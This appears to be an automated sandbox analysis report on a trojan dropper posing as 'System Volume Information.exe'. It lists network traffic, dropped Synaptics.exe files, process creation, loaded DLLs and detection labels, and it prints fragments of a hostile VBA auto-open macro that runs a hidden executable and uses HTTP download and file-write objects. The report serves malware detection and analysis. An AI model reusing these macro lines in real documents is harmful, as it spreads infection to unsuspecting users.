Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.110:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50128 version: TLS 1.2

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: wr2gMFBN.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: BJZFPPWAPT.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: wr2gMFBN.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: BJZFPPWAPT.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: wr2gMFBN.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: BJZFPPWAPT.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: C:\Users\user\Desktop\._cache_System Volume Information.exe

Code function: 2_2_009E4F52

2_2_009E4F52

Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: wr2gMFBN.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: BJZFPPWAPT.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 432 -s 8908

Source: System Volume Information.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: System Volume Information.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXA824.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs System Volume Information.exe
Source: System Volume Information.exe, 00000000.00000000.1999639615.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameb! vs System Volume Information.exe
Source: System Volume Information.exe, 00000000.00000003.2006426850.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName*o2 vs System Volume Information.exe
Source: System Volume Information.exe, 00000000.00000003.2006426850.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName?^ vs System Volume Information.exe
Source: System Volume Information.exe, 00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs System Volume Information.exe
Source: System Volume Information.exe, 00000000.00000003.2004519629.000000000081F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs System Volume Information.exe
Source: System Volume Information.exe	Binary or memory string: OriginalFileName vs System Volume Information.exe
Source: System Volume Information.exe	Binary or memory string: OriginalFilenameb! vs System Volume Information.exe

Source: System Volume Information.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@10/44@36/4

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Users\user\Desktop\System Volume Information.exe

File created: C:\Users\user\Desktop\._cache_System Volume Information.exe

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess432

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\AppData\Local\Temp\wr2gMFBN.xlsm

Jump to behavior

Source: Yara match	File source: System Volume Information.exe, type: SAMPLE
Source: Yara match	File source: 0.0.System Volume Information.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1999521718.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXA824.tmp, type: DROPPED

Source: C:\Users\user\Desktop\System Volume Information.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\System Volume Information.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\System Volume Information.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: System Volume Information.exe

ReversingLabs: Detection: 92%

Source: C:\Users\user\Desktop\System Volume Information.exe

File read: C:\Users\user\Desktop\System Volume Information.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\System Volume Information.exe "C:\Users\user\Desktop\System Volume Information.exe"
Source: C:\Users\user\Desktop\System Volume Information.exe	Process created: C:\Users\user\Desktop\._cache_System Volume Information.exe "C:\Users\user\Desktop\._cache_System Volume Information.exe"
Source: C:\Users\user\Desktop\System Volume Information.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 432 -s 8908
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Users\user\Desktop\System Volume Information.exe	Process created: C:\Users\user\Desktop\._cache_System Volume Information.exe "C:\Users\user\Desktop\._cache_System Volume Information.exe"	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\System Volume Information.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_System Volume Information.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
